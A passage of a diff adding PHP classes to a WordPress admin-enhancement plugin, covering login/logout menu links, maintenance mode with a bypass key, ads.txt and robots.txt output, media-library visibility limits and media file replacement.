if ( $pagenow != 'nav-menus.php' && !defined( 'DOING_AJAX' ) && isset( $menu_item->url ) && false !== strpos( $menu_item->url, 'asenha' ) ) {
|
||||
// Define login URL based on whether
|
||||
if ( array_key_exists( 'change_login_url', $options ) && $options['change_login_url'] ) {
|
||||
if ( array_key_exists( 'custom_login_slug', $options ) && !empty( $options['custom_login_slug'] ) ) {
|
||||
$login_page_url = get_site_url() . '/' . $options['custom_login_slug'];
|
||||
}
|
||||
} else {
|
||||
$login_page_url = wp_login_url();
|
||||
}
|
||||
$logout_redirect_url = home_url();
|
||||
switch ( $menu_item->url ) {
|
||||
case '#asenha-login':
|
||||
$menu_item->url = $login_page_url;
|
||||
break;
|
||||
case '#asenha-logout':
|
||||
$menu_item->url = wp_logout_url();
|
||||
break;
|
||||
case '#asenha-login-logout':
|
||||
$login_text = __( 'Log In', 'admin-site-enhancements' );
|
||||
$logout_text = __( 'Log Out', 'admin-site-enhancements' );
|
||||
$menu_item->url = ( is_user_logged_in() ? wp_logout_url() : $login_page_url );
|
||||
$menu_item->title = ( is_user_logged_in() ? $logout_text : $login_text );
|
||||
break;
|
||||
}
|
||||
}
|
||||
return $menu_item;
|
||||
}
|
||||
|
||||
/**
|
||||
* Conditionally remove login or logout menu item based on is_user_logged_in()
|
||||
*
|
||||
* @since 3.4.0
|
||||
*/
|
||||
public function maybe_remove_login_or_logout_menu_item( $sorted_menu_items ) {
|
||||
foreach ( $sorted_menu_items as $menu => $item ) {
|
||||
$item_classes = $item->classes;
|
||||
// Maybe remove Log In menu item
|
||||
if ( in_array( 'asenha-login-menu-item', $item_classes ) ) {
|
||||
if ( is_user_logged_in() ) {
|
||||
unset($sorted_menu_items[$menu]);
|
||||
}
|
||||
}
|
||||
// Maybe remove Log Out menu item
|
||||
if ( in_array( 'asenha-logout-menu-item', $item_classes ) ) {
|
||||
if ( !is_user_logged_in() ) {
|
||||
unset($sorted_menu_items[$menu]);
|
||||
}
|
||||
}
|
||||
}
|
||||
return $sorted_menu_items;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Maintenance Mode module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Maintenance_Mode {
|
||||
/**
|
||||
* Backfill bypass key on load when maintenance mode is enabled.
|
||||
*
|
||||
* Deferred to plugins_loaded so wp_hash_password() is available.
|
||||
*
|
||||
* @since 8.5.2
|
||||
*/
|
||||
public static function ensure_bypass_key_on_load() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( empty( $options['maintenance_mode'] ) ) {
|
||||
return;
|
||||
}
|
||||
self::ensure_bypass_key( $options );
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure a bypass key exists when maintenance mode is enabled.
|
||||
*
|
||||
* Generates and persists the key once for upgrade sites that have maintenance
|
||||
* mode on but have not re-saved ASE settings after the performance fix.
|
||||
*
|
||||
* @since 8.5.2
|
||||
* @param array $options Plugin options.
|
||||
* @return array Updated plugin options.
|
||||
*/
|
||||
public static function ensure_bypass_key( $options ) {
|
||||
if ( !function_exists( 'wp_hash_password' ) ) {
|
||||
return $options;
|
||||
}
|
||||
if ( !empty( $options['maintenance_mode_bypass_key'] ) ) {
|
||||
return $options;
|
||||
}
|
||||
$options['maintenance_mode_bypass_key'] = \wp_hash_password( site_url() );
|
||||
update_option( ASENHA_SLUG_U, $options );
|
||||
return $options;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the stored maintenance mode bypass key.
|
||||
*
|
||||
* @since 8.5.2
|
||||
* @param array $options Plugin options.
|
||||
* @return string Stored bypass key.
|
||||
*/
|
||||
private function get_bypass_key( $options ) {
|
||||
return ( isset( $options['maintenance_mode_bypass_key'] ) ? $options['maintenance_mode_bypass_key'] : '' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a bypass URL parameter against the site URL.
|
||||
*
|
||||
* @since 8.5.2
|
||||
* @param string $bypass_param Value of the bypass query parameter.
|
||||
* @return bool Whether the bypass parameter is valid.
|
||||
*/
|
||||
private function is_bypass_request_valid( $bypass_param ) {
|
||||
if ( empty( $bypass_param ) ) {
|
||||
return false;
|
||||
}
|
||||
return \wp_check_password( site_url(), $bypass_param );
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect for when maintenance mode is enabled
|
||||
*
|
||||
* @since 4.7.0
|
||||
*/
|
||||
public function maintenance_mode_redirect( $wp ) {
|
||||
if ( is_admin() ) {
|
||||
return;
|
||||
}
|
||||
if ( is_login() ) {
|
||||
return;
|
||||
}
|
||||
if ( $this->is_user_allowed_frontend_access() ) {
|
||||
return;
|
||||
}
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
if ( isset( $_GET['bypass'] ) && $this->is_bypass_request_valid( sanitize_text_field( $_GET['bypass'] ) ) ) {
|
||||
// Load the page normally, e.g. when using an existing page as a maintenance page.
|
||||
return;
|
||||
}
|
||||
$maintenance_page_type = 'custom';
|
||||
// ======== Customizable maintenance page ========
|
||||
if ( 'custom' == $maintenance_page_type ) {
|
||||
header( 'HTTP/1.1 503 Service Unavailable', true, 503 );
|
||||
header( 'Status: 503 Service Unavailable' );
|
||||
header( 'Retry-After: 3600' );
|
||||
// Tell search engine bots to return after 3600 seconds, i.e. 1 hour
|
||||
$heading = $options['maintenance_page_heading'];
|
||||
$description = $options['maintenance_page_description'];
|
||||
$background = ( isset( $options['maintenance_page_background'] ) ? $options['maintenance_page_background'] : 'stripes' );
|
||||
$background_options = array('lines', 'stripes', 'curves');
|
||||
// Set default
|
||||
if ( !in_array( $background, $background_options ) ) {
|
||||
$background = 'stripes';
|
||||
}
|
||||
$title = '';
|
||||
$custom_head_code = '';
|
||||
if ( 'lines' === $background ) {
|
||||
// https://bgjar.com/curve-line
|
||||
$background_image = "url(\"data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' version='1.1' xmlns:xlink='http://www.w3.org/1999/xlink' xmlns:svgjs='http://svgjs.com/svgjs' width='1920' height='1280' preserveAspectRatio='none' viewBox='0 0 1920 1280'%3e%3cg mask='url(%26quot%3b%23SvgjsMask1804%26quot%3b)' fill='none'%3e%3crect width='1920' height='1280' x='0' y='0' fill='url(%23SvgjsLinearGradient1805)'%3e%3c/rect%3e%3cpath d='M2294.46 927.36C2128.65 934.22 2078.52 1270.56 1693.36 1208.96 1308.19 1147.36 1373.24 145.96 1092.25-67.11' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2225.25 303.97C1963.34 332.56 1808.36 909.76 1359.97 905.57 911.59 901.38 820.47-55.06 494.7-167.42' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2247.58 281.19C2070.08 293.95 1967.68 651 1632.53 639.59 1297.39 628.18 1265.17-143.39 1017.49-253.69' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M1924.29 917.21C1696.21 904.78 1584.63 530.74 1114.13 494.81 643.63 458.88 546.92-26.2 303.97-50.85' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3cpath d='M2009.59 400.31C1847.79 399.06 1696.02 240.31 1382.45 240.31 1068.87 240.31 1083.3 404.62 755.3 400.31 427.31 396 332.72-108.61 128.16-144.89' stroke='rgba(158%2c 160%2c 161%2c 0.57)' stroke-width='2'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cmask id='SvgjsMask1804'%3e%3crect width='1920' height='1280' fill='white'%3e%3c/rect%3e%3c/mask%3e%3clinearGradient x1='8.33%25' y1='-12.5%25' x2='91.67%25' y2='112.5%25' gradientUnits='userSpaceOnUse' id='SvgjsLinearGradient1805'%3e%3cstop stop-color='rgba(255%2c 255%2c 255%2c 1)' offset='0'%3e%3c/stop%3e%3cstop stop-color='rgba(193%2c 192%2c 192%2c 1)' offset='1'%3e%3c/stop%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e\")";
|
||||
$background_style = 'background-image: ' . $background_image;
|
||||
} elseif ( 'stripes' === $background ) {
|
||||
// https://bgjar.com/shiny-overlay
|
||||
$background_image = "url(\"data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' version='1.1' xmlns:xlink='http://www.w3.org/1999/xlink' xmlns:svgjs='http://svgjs.com/svgjs' width='2560' height='2560' preserveAspectRatio='none' viewBox='0 0 2560 2560'%3e%3cg mask='url(%26quot%3b%23SvgjsMask1276%26quot%3b)' fill='none'%3e%3crect width='2560' height='2560' x='0' y='0' fill='url(%23SvgjsLinearGradient1277)'%3e%3c/rect%3e%3cpath d='M0 0L524.59 0L0 986.23z' fill='rgba(255%2c 255%2c 255%2c .1)'%3e%3c/path%3e%3cpath d='M0 986.23L524.59 0L684.6500000000001 0L0 1251.4z' fill='rgba(255%2c 255%2c 255%2c .075)'%3e%3c/path%3e%3cpath d='M0 1251.4L684.6500000000001 0L1140.02 0L0 1816.94z' fill='rgba(255%2c 255%2c 255%2c .05)'%3e%3c/path%3e%3cpath d='M0 1816.94L1140.02 0L1666.1399999999999 0L0 1973.71z' fill='rgba(255%2c 255%2c 255%2c .025)'%3e%3c/path%3e%3cpath d='M2560 2560L1477.86 2560L2560 2129.39z' fill='rgba(0%2c 0%2c 0%2c .1)'%3e%3c/path%3e%3cpath d='M2560 2129.39L1477.86 2560L669.0099999999999 2560L2560 1244.5099999999998z' fill='rgba(0%2c 0%2c 0%2c .075)'%3e%3c/path%3e%3cpath d='M2560 1244.51L669.0099999999998 2560L531.5999999999998 2560L2560 928.88z' fill='rgba(0%2c 0%2c 0%2c .05)'%3e%3c/path%3e%3cpath d='M2560 928.8800000000001L531.5999999999997 2560L354.62999999999965 2560L2560 697.8700000000001z' fill='rgba(0%2c 0%2c 0%2c .025)'%3e%3c/path%3e%3c/g%3e%3cdefs%3e%3cmask id='SvgjsMask1276'%3e%3crect width='2560' height='2560' fill='white'%3e%3c/rect%3e%3c/mask%3e%3clinearGradient x1='0%25' y1='0%25' x2='100%25' y2='100%25' gradientUnits='userSpaceOnUse' id='SvgjsLinearGradient1277'%3e%3cstop stop-color='rgba(255%2c 255%2c 255%2c 1)' offset='0'%3e%3c/stop%3e%3cstop stop-color='rgba(172%2c 172%2c 172%2c 1)' offset='1'%3e%3c/stop%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e\")";
|
||||
$background_style = 'background-image: ' . $background_image;
|
||||
} elseif ( 'curves' === $background ) {
|
||||
// https://www.svgbackgrounds.com/
|
||||
$background_image = "url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='100%25' viewBox='0 0 1600 800'%3E%3Cg %3E%3Cpath fill='%23e0e0e0' d='M486 705.8c-109.3-21.8-223.4-32.2-335.3-19.4C99.5 692.1 49 703 0 719.8V800h843.8c-115.9-33.2-230.8-68.1-347.6-92.2C492.8 707.1 489.4 706.5 486 705.8z'/%3E%3Cpath fill='%23e2e2e2' d='M1600 0H0v719.8c49-16.8 99.5-27.8 150.7-33.5c111.9-12.7 226-2.4 335.3 19.4c3.4 0.7 6.8 1.4 10.2 2c116.8 24 231.7 59 347.6 92.2H1600V0z'/%3E%3Cpath fill='%23e5e5e5' d='M478.4 581c3.2 0.8 6.4 1.7 9.5 2.5c196.2 52.5 388.7 133.5 593.5 176.6c174.2 36.6 349.5 29.2 518.6-10.2V0H0v574.9c52.3-17.6 106.5-27.7 161.1-30.9C268.4 537.4 375.7 554.2 478.4 581z'/%3E%3Cpath fill='%23e7e7e7' d='M0 0v429.4c55.6-18.4 113.5-27.3 171.4-27.7c102.8-0.8 203.2 22.7 299.3 54.5c3 1 5.9 2 8.9 3c183.6 62 365.7 146.1 562.4 192.1c186.7 43.7 376.3 34.4 557.9-12.6V0H0z'/%3E%3Cpath fill='%23EAEAEA' d='M181.8 259.4c98.2 6 191.9 35.2 281.3 72.1c2.8 1.1 5.5 2.3 8.3 3.4c171 71.6 342.7 158.5 531.3 207.7c198.8 51.8 403.4 40.8 597.3-14.8V0H0v283.2C59 263.6 120.6 255.7 181.8 259.4z'/%3E%3Cpath fill='%23ededed' d='M1600 0H0v136.3c62.3-20.9 127.7-27.5 192.2-19.2c93.6 12.1 180.5 47.7 263.3 89.6c2.6 1.3 5.1 2.6 7.7 3.9c158.4 81.1 319.7 170.9 500.3 223.2c210.5 61 430.8 49 636.6-16.6V0z'/%3E%3Cpath fill='%23f0f0f0' d='M454.9 86.3C600.7 177 751.6 269.3 924.1 325c208.6 67.4 431.3 60.8 637.9-5.3c12.8-4.1 25.4-8.4 38.1-12.9V0H288.1c56 21.3 108.7 50.6 159.7 82C450.2 83.4 452.5 84.9 454.9 86.3z'/%3E%3Cpath fill='%23f2f2f2' d='M1600 0H498c118.1 85.8 243.5 164.5 386.8 216.2c191.8 69.2 400 74.7 595 21.1c40.8-11.2 81.1-25.2 120.3-41.7V0z'/%3E%3Cpath fill='%23f5f5f5' d='M1397.5 154.8c47.2-10.6 93.6-25.3 138.6-43.8c21.7-8.9 43-18.8 63.9-29.5V0H643.4c62.9 41.7 129.7 78.2 202.1 107.4C1020.4 178.1 1214.2 196.1 1397.5 154.8z'/%3E%3Cpath fill='%23F8F8F8' d='M1315.3 72.4c75.3-12.6 148.9-37.1 216.8-72.4h-723C966.8 71 1144.7 101 1315.3 72.4z'/%3E%3C/g%3E%3C/svg%3E\")";
|
||||
$background_style = 'background-image: ' . $background_image;
|
||||
} elseif ( 'pattern' === $background ) {
|
||||
$background_style = 'background-image: none;';
|
||||
} elseif ( 'image' === $background ) {
|
||||
$background_style = 'background-image: none;';
|
||||
} elseif ( 'solid_color' === $background ) {
|
||||
$background_style = 'background-color: #ffffff;';
|
||||
} else {
|
||||
}
|
||||
?>
|
||||
<html>
|
||||
<head>
|
||||
<title><?php
|
||||
echo esc_html( $title );
|
||||
?></title>
|
||||
<link rel="stylesheet" id="asenha-maintenance" href="<?php
|
||||
echo esc_html( ASENHA_URL ) . 'assets/css/maintenance.css';
|
||||
?>" media="all">
|
||||
<?php
|
||||
echo wp_kses( $custom_head_code, get_kses_with_style_src_ruleset() );
|
||||
?>
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<?php
|
||||
wp_site_icon();
|
||||
?>
|
||||
<style>
|
||||
body {
|
||||
<?php
|
||||
echo wp_kses_post( $background_style );
|
||||
?>;
|
||||
background-size: cover;
|
||||
background-position: center center;
|
||||
}
|
||||
<?php
|
||||
?>
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page-wrapper">
|
||||
<div class="page-overlay">
|
||||
</div>
|
||||
<div class="message-box">
|
||||
<h1><?php
|
||||
echo wp_kses_post( $heading );
|
||||
?></h1>
|
||||
<div class="description"><?php
|
||||
echo wp_kses_post( $description );
|
||||
?></div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
<?php
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Show Password Protection admin bar status icon
|
||||
*
|
||||
* @since 4.1.0
|
||||
*/
|
||||
public function show_maintenance_mode_admin_bar_icon() {
|
||||
add_action( 'wp_before_admin_bar_render', [$this, 'add_maintenance_mode_admin_bar_item'] );
|
||||
add_action( 'admin_head', [$this, 'add_maintenance_mode_admin_bar_item_styles'] );
|
||||
add_action( 'wp_head', [$this, 'add_maintenance_mode_admin_bar_item_styles'] );
|
||||
}
|
||||
|
||||
/**
|
||||
* Add WP Admin Bar item
|
||||
*
|
||||
* @since 4.1.0
|
||||
*/
|
||||
public function add_maintenance_mode_admin_bar_item() {
|
||||
global $wp_admin_bar;
|
||||
$allow_frontend_access = $this->is_user_allowed_frontend_access();
|
||||
if ( is_user_logged_in() ) {
|
||||
if ( $allow_frontend_access ) {
|
||||
$wp_admin_bar->add_menu( array(
|
||||
'id' => 'maintenance_mode',
|
||||
'title' => '',
|
||||
'href' => admin_url( 'tools.php?page=admin-site-enhancements#utilities' ),
|
||||
'meta' => array(
|
||||
'title' => __( 'Maintenance mode is currently enabled for this site.', 'admin-site-enhancements' ),
|
||||
),
|
||||
) );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add icon and CSS for admin bar item
|
||||
*
|
||||
* @since 4.1.0
|
||||
*/
|
||||
public function add_maintenance_mode_admin_bar_item_styles() {
|
||||
$allow_frontend_access = $this->is_user_allowed_frontend_access();
|
||||
if ( is_user_logged_in() ) {
|
||||
if ( $allow_frontend_access ) {
|
||||
?>
|
||||
<style>
|
||||
#wp-admin-bar-maintenance_mode {
|
||||
background-color: #ff800c !important;
|
||||
transition: .25s;
|
||||
}
|
||||
#wp-admin-bar-maintenance_mode > .ab-item {
|
||||
color: #fff !important;
|
||||
}
|
||||
#wp-admin-bar-maintenance_mode > .ab-item:before {
|
||||
content: "\f308";
|
||||
top: 2px;
|
||||
color: #fff !important;
|
||||
margin-right: 0px;
|
||||
}
|
||||
#wp-admin-bar-maintenance_mode:hover > .ab-item {
|
||||
background-color: #e5730a !important;
|
||||
color: #fff;
|
||||
}
|
||||
</style>
|
||||
<?php
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a user role is allowed to access the frontend
|
||||
*
|
||||
* @since 6.9.3
|
||||
*/
|
||||
public function is_user_allowed_frontend_access() {
|
||||
$allow_frontend_access = false;
|
||||
if ( current_user_can( 'edit_posts' ) ) {
|
||||
$allow_frontend_access = true;
|
||||
}
|
||||
return $allow_frontend_access;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Manage ads.txt and app-ads.txt module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Manage_Ads_Appads_Txt {
|
||||
|
||||
/**
|
||||
* Show content of ads.txt saved to options
|
||||
*
|
||||
* @since 3.2.0
|
||||
*/
|
||||
public function show_ads_appads_txt_content() {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
|
||||
$request = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : false;
|
||||
|
||||
if ( '/ads.txt' === $request ) {
|
||||
|
||||
$ads_txt_content = array_key_exists( 'ads_txt_content', $options ) ? $options['ads_txt_content'] : '';
|
||||
|
||||
header( 'Content-Type: text/plain' );
|
||||
echo esc_textarea( $ads_txt_content );
|
||||
die();
|
||||
|
||||
}
|
||||
|
||||
if ( '/app-ads.txt' === $request ) {
|
||||
|
||||
$app_ads_txt_content = array_key_exists( 'app_ads_txt_content', $options ) ? $options['app_ads_txt_content'] : '';
|
||||
|
||||
header( 'Content-Type: text/plain' );
|
||||
echo esc_textarea( $app_ads_txt_content );
|
||||
die();
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Manage robots.txt module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Manage_Robots_Txt {
|
||||
|
||||
/**
|
||||
* Maybe show custom robots.txt content
|
||||
*
|
||||
* @since 3.5.0
|
||||
*/
|
||||
public function maybe_show_custom_robots_txt_content( $output, $public ) {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
|
||||
if ( array_key_exists( 'robots_txt_content', $options ) && ! empty( $options['robots_txt_content'] ) ) {
|
||||
|
||||
$output = wp_strip_all_tags( $options['robots_txt_content'] );
|
||||
|
||||
}
|
||||
|
||||
return $output;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
+96
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Media Library Access Control module.
|
||||
*
|
||||
* @package ASENHA
|
||||
* @since 8.2.4
|
||||
*/
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
// Exit if accessed directly.
|
||||
if ( !defined( 'ABSPATH' ) ) {
|
||||
exit;
|
||||
}
|
||||
/**
|
||||
* Restrict Media Library/media modal attachment listings to the current user's uploads.
|
||||
*
|
||||
* Notes:
|
||||
* - Restricts only attachment *listing* queries in wp-admin (Media Library list view and media modal/grid queries).
|
||||
* - Does not affect frontend rendering, and does not block direct access to attachment URLs.
|
||||
*/
|
||||
class Media_Files_Visibility_Control {
|
||||
/**
|
||||
* Filter attachment query args for media modal / media grid.
|
||||
*
|
||||
* @param array $query_args WP_Query args for attachments.
|
||||
* @return array
|
||||
*/
|
||||
public function filter_attachments_grid( $query_args ) {
|
||||
if ( !is_admin() ) {
|
||||
return $query_args;
|
||||
}
|
||||
if ( !$this->should_restrict_current_user() ) {
|
||||
return $query_args;
|
||||
}
|
||||
$query_args['author'] = get_current_user_id();
|
||||
return $query_args;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restrict attachment list view in Media Library (`upload.php` list mode).
|
||||
*
|
||||
* @param \WP_Query $query Query instance.
|
||||
* @return void
|
||||
*/
|
||||
public function filter_attachments_list( $query ) {
|
||||
if ( !is_admin() ) {
|
||||
return;
|
||||
}
|
||||
if ( !$query instanceof \WP_Query ) {
|
||||
return;
|
||||
}
|
||||
if ( !$query->is_main_query() ) {
|
||||
return;
|
||||
}
|
||||
// Only affect Media Library list screen.
|
||||
global $pagenow;
|
||||
if ( 'upload.php' !== $pagenow ) {
|
||||
return;
|
||||
}
|
||||
$post_type = $query->get( 'post_type' );
|
||||
if ( 'attachment' !== $post_type && (!is_array( $post_type ) || !in_array( 'attachment', $post_type, true )) ) {
|
||||
return;
|
||||
}
|
||||
if ( !$this->should_restrict_current_user() ) {
|
||||
return;
|
||||
}
|
||||
$query->set( 'author', get_current_user_id() );
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine whether the current user should be restricted to seeing only their own uploads.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
private function should_restrict_current_user() {
|
||||
if ( !is_user_logged_in() ) {
|
||||
return false;
|
||||
}
|
||||
// Administrators (and multisite super admins) can always see all media.
|
||||
if ( current_user_can( 'manage_options' ) ) {
|
||||
return false;
|
||||
}
|
||||
if ( is_multisite() && is_super_admin() ) {
|
||||
return false;
|
||||
}
|
||||
// Only apply when the user can upload files (i.e., they are a relevant role for media).
|
||||
if ( !current_user_can( 'upload_files' ) ) {
|
||||
return false;
|
||||
}
|
||||
// Free behavior: restrict all non-admin upload-capable users.
|
||||
$should_restrict = true;
|
||||
return (bool) $should_restrict;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,537 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Media Replacement module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Media_Replacement {
|
||||
|
||||
/**
|
||||
* Modify the 'Edit' link to be 'Edit or Replace'
|
||||
*
|
||||
*/
|
||||
public function modify_media_list_table_edit_link( $actions, $post ) {
|
||||
|
||||
$new_actions = array();
|
||||
|
||||
foreach( $actions as $key => $value ) {
|
||||
|
||||
if ( $key == 'edit' ) {
|
||||
|
||||
$new_actions['edit'] = '<a href="' . get_edit_post_link( $post ) . '" aria-label="Edit or Replace">Edit or Replace</a>';
|
||||
|
||||
} else {
|
||||
|
||||
$new_actions[$key] = $value;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $new_actions;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Register attachment_fields_to_edit filter on admin_init for reliable admin-ajax hookup.
|
||||
*
|
||||
* @since 7.9.0
|
||||
*/
|
||||
public function register_attachment_fields_filter() {
|
||||
add_filter( 'attachment_fields_to_edit', [ $this, 'add_media_replacement_button' ], 10, 2 );
|
||||
}
|
||||
|
||||
/**
|
||||
* Add media replacement button in the edit screen of media/attachment
|
||||
*
|
||||
* @since 1.1.0
|
||||
*/
|
||||
public function add_media_replacement_button( $fields, $post ) {
|
||||
if ( ! is_admin() || $this->is_page_builder_context() ) {
|
||||
return $fields;
|
||||
}
|
||||
|
||||
global $pagenow, $typenow;
|
||||
|
||||
$is_attachment_edit = ( 'post.php' === $pagenow && 'attachment' === $typenow );
|
||||
$screen = function_exists( 'get_current_screen' ) ? get_current_screen() : null;
|
||||
$is_media_library = ( $screen && 'upload' === $screen->base );
|
||||
|
||||
// Attachment edit screen, media library screen, or grid modal compat via upload.php AJAX only.
|
||||
if ( ! $is_attachment_edit && ! $is_media_library && ! $this->is_native_media_library_compat_ajax() ) {
|
||||
return $fields;
|
||||
}
|
||||
|
||||
$original_attachment_id = '';
|
||||
$image_mime_type = '';
|
||||
if ( is_object( $post ) ) {
|
||||
$original_attachment_id = $post->ID;
|
||||
if ( property_exists( $post, 'post_mime_type' ) ) {
|
||||
$image_mime_type = $post->post_mime_type;
|
||||
}
|
||||
}
|
||||
|
||||
if ( $original_attachment_id ) {
|
||||
// Add new field to attachment fields for the media replace functionality
|
||||
$fields['asenha-media-replace'] = array();
|
||||
$fields['asenha-media-replace']['label'] = '';
|
||||
$fields['asenha-media-replace']['input'] = 'html';
|
||||
$fields['asenha-media-replace']['html'] = '
|
||||
<div id="media-replace-div' . '" class="postbox attachment-id-' . $original_attachment_id . '" data-original-image-id="' . $original_attachment_id . '">
|
||||
<div class="postbox-header">
|
||||
<h2 class="hndle ui-sortable-handle">' . __( 'Replace Media', 'admin-site-enhancements' ) . '</h2>
|
||||
</div>
|
||||
<div class="inside">
|
||||
<button type="button" id="asenha-media-replace" class="button-secondary button-large asenha-media-replace-button" data-old-image-mime-type="' . $image_mime_type . '" onclick="replaceMedia(\'' . $original_attachment_id . '\',\'' . $image_mime_type . '\');">' . __( 'Select New Media File', 'admin-site-enhancements' ) . '</button>
|
||||
<input type="hidden" id="new-attachment-id-' . $original_attachment_id . '" name="new-attachment-id-' . $original_attachment_id . '" />
|
||||
<div class="asenha-media-replace-notes"><p>' . __( 'The current file will be replaced with the uploaded / selected file (of the same type) while retaining the current ID, publish date and file name. Thus, no existing links will break.', 'admin-site-enhancements' ) . '</p></div>
|
||||
</div>
|
||||
</div>
|
||||
';
|
||||
}
|
||||
|
||||
return $fields;
|
||||
|
||||
}
|
||||
|
||||
public function attachment_for_js( $image_url, $attachment_id ) {
|
||||
// vi( $image_url );
|
||||
// vi( $attachment_id );
|
||||
}
|
||||
|
||||
/**
|
||||
* Replace existing media with the newly updated file
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/replace-image/tags/1.1.7/hm-replace-image.php#L55
|
||||
* @since 1.1.0
|
||||
*/
|
||||
public function replace_media( $old_attachment_id ) {
|
||||
// vi( $old_attachment_id, '', 'replace_media has been triggered via edit_attachment_hook' );
|
||||
|
||||
// Get the new attachment/media ID, meta and mime type
|
||||
if ( isset( $_POST['new-attachment-id-'.$old_attachment_id] ) && ! empty( $_POST['new-attachment-id-'.$old_attachment_id] ) ) {
|
||||
$new_attachment_id = intval( sanitize_text_field( $_POST['new-attachment-id-'.$old_attachment_id] ) );
|
||||
// vi( $new_attachment_id, '', '$new_attachment_id is detected in replace_media' );
|
||||
|
||||
// Verify the user has permission to delete the new attachment (source file for replacement)
|
||||
// This prevents unauthorized users from using another user's attachment as a replacement source
|
||||
// which would result in that attachment being deleted
|
||||
if ( ! current_user_can( 'delete_post', $new_attachment_id ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$old_post_meta = get_post( $old_attachment_id, ARRAY_A );
|
||||
$old_post_mime = $old_post_meta['post_mime_type']; // e.g. 'image/jpeg'
|
||||
// vi( $old_post_mime, '', 'old_post_mime is detected in replace_media' );
|
||||
|
||||
$new_post_meta = get_post( $new_attachment_id, ARRAY_A );
|
||||
$new_post_mime = $new_post_meta['post_mime_type']; // e.g. 'image/jpeg'
|
||||
// vi( $new_post_mime, '', 'new_post_mime is detected in replace_media' );
|
||||
|
||||
// Check if the media file ID selected via the media frame and passed on to the #new-attachment-id hidden field
|
||||
// Ensure the mime type matches too
|
||||
if ( ( ! empty( $new_attachment_id ) ) && is_numeric( $new_attachment_id ) && ( $old_post_mime == $new_post_mime ) ) {
|
||||
// vi( $new_attachment_id, '', 'We are processing the replacement of the old image.' );
|
||||
|
||||
$new_attachment_meta = wp_get_attachment_metadata( $new_attachment_id );
|
||||
|
||||
// If original file is larger than 2560 pixel
|
||||
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
|
||||
if ( is_array( $new_attachment_meta ) && array_key_exists( 'original_image', $new_attachment_meta ) ) {
|
||||
|
||||
// Get the original media file path
|
||||
$new_media_file_path = wp_get_original_image_path( $new_attachment_id );
|
||||
|
||||
} else {
|
||||
|
||||
// Get the path to newly uploaded media file. An image file name may end with '-scaled'.
|
||||
$new_attachment_file = get_post_meta( $new_attachment_id, '_wp_attached_file', true );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$new_media_file_path = $upload_dir['basedir'] . '/' . $new_attachment_file;
|
||||
|
||||
}
|
||||
|
||||
// Check if the new media file exist / was successfully uploaded
|
||||
if ( ! is_file( $new_media_file_path ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Delete existing/old media files. Post and post meta entries for it are still there in the database.
|
||||
$this->delete_media_files( $old_attachment_id );
|
||||
|
||||
// If original file is larger than 2560 pixel
|
||||
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
|
||||
if ( is_array( $new_attachment_meta ) && array_key_exists( 'original_image', $new_attachment_meta ) ) {
|
||||
|
||||
